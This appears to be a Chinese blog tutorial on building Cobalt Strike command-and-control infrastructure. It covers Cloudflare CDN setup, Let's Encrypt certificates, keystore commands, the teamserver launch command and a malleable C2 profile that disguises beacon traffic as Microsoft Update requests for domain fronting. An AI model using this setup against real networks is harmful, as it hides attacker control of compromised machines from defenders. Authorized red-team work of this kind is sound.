红队基础建设——cs搭建


实现的功能

https上线+CDN+域前置

软硬件

服务器:Debian10
cs:4.1
域名:xxx.com
ssl证书:letsencrypt
cdn:cloudflare

域名和CDN准备

先在cloudflare上注册一个账号,然后申请一个域名并将该域名添加到cloudflare上。并根据提示将域名的nameserver设置为cloudflare的nameserver,例如我的godaddy上的域名,这样就将域名转移到了cloudflare。

在cloudflare的DNS功能下将所有默认的解析记录全部删除,然后添加一个前缀为@的A记录,将A记录指向你的cs服务器,并将代理状态设置为已代理,如果需要采用https上线还需要在SSL/TLS下将加密模式设置为 完全(严格)。



到此为止,cdn已经准备。

申请SLL证书

执行 apt install certbot 安装certbot,安装完成后执行certbot certonly -d [domain] --manual --preferred-challenges dns --server https://acme-v02.api.letsencrypt.org/directory 来申请ssl证书。执行过程中需要输入邮箱和一些注意事项,邮箱随便输其他要不就是输入A要不就是输入Y根据提示来。到后面需要验证域名的归属问题,这里使用了DNS的验证方式所有需要在cloudflare中的DNS上添加一个_acme-challenge的txt记录,记录值在执行命令的过程中会告诉你。设置好后过一两分钟后就可以按回车了。证书文件在/etc/letsencrypt/archive/[domain] 下,留下fullchain.pem和privkey.pem这两个文件。






cs服务器环境搭建

先安装Jdk,由于cs对java版本没要求就采用默认的jdk。
执行apt install default-jdk 安装jdk,接着执行下面两条命令用ssl证书生成store文件。

openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:[PASSWORD]
keytool -importkeystore -deststorepass [PASSWORD] -destkeypass [PASSWORD] -destkeystore cobaltstrike.store -srckeystore domain.p12 -srcstoretype PKCS12 -srcstorepass [PASSWORD] -alias spoofdomain.com


将teamserver文件中的最后一行做如下修改。并在c2 profile中下载一个c2配置文件,根据自己情况修改。只需要在前面添加上并在每个client中添加Host字段即可。

 https-certificate {
 set keystore "cobaltstrike.store";
 set password "[前面的密码]";
 }


这是我的c2 profile

# Putter Panda HTTPCLIENT Profile
# http://resources.crowdstrike.com/putterpanda/
#
# Author: @armitagehacker

# 500ms is default callback for this Web C2 shel
https-certificate {
     set keystore "cobaltstrike.store";
     set password "[PASSWORD]";
}
set sample_name "Putter Panda";

set sleeptime "500";

http-get {
    # Beacon will randomly choose from this pool of URIs
    set uri "/MicrosoftUpdate/ShellEx/KB242742/default.aspx";

    client {
        header "User-Agent" "Mozilla/4.0 (Compatible; MSIE 6.0;Windows NT 5.1)";
        header "Host" "[domain]";
        # deliberate attempt to reproduce bug in HTTPCLIENT
        header "Accept" "*/*, ..., ......, ."; 

        # encode session metadata into tmp var
        metadata {
            netbiosu;
            parameter "tmp";
        }
    }

    # no special server side indicators as the report didn't say anything one way
    # or the other about these.
    server {
        header "Content-Type" "application/octet-stream";

        output {
            print;
        }
    }
}

http-post {
    set uri "/MicrosoftUpdate/GetUpdate/KB";

    client {
        header "Content-Type" "application/octet-stream";
        header "User-Agent" "Mozilla/4.0 (Compatible; MSIE 6.0;Windows NT 5.1)";
        header "Host" "[domain]";
        id {
            append "/default.asp";
            uri-append;
        }

        output {
            print;
        }
    }

    server {
        header "Content-Type" "text/html";

        output {
            print;
        }
    }
}

启动CS

修改teamserver文件中的server服务端口以及store文件的密码,server端口随便设就行,store文件的密码就是前面使用keytool命令里面的

# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=[PORT] -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=[PASSWORD] -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*

执行apt install screen安装screen,通过screen来实现断开ssh后cs继续运行。执行screen -R cs创建一个会话,给teamserver添加可执行权限后执行./teamserver [IP] [PASSWORD] c2.profile启动cs服务端。

创建CS监听器

cs常用的监听器有http和https两种,在这里域前置只能使用http这个监听器,https经过多次厂商还是找不到无法使用的原因。问题出在https的的流量是加密的,http请求头也被加密因此cloudflare应该是看不见host这个http header的,但是https流量也能回源到原站,推测是通过SNI来转发的,但是我通过如下py脚本修改HOST头后发起请求通过抓包确认数据包中的SNI没有被更改,却返回cloudflare的403。因此找不到clodflare是如何根据什么转发的https请求。如果有知道的兄弟请给我留言。

是回正题
域前置和https上线的配置如下即可正常使用,可以选择单独使用https上线或者使用域前置。cloudflare的ip在https://www.cloudflare.com/ips-v4找到,随便选取几个能够访问的ip。


声明:john'blog|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 红队基础建设——cs搭建


欢迎来到脚本小子的博客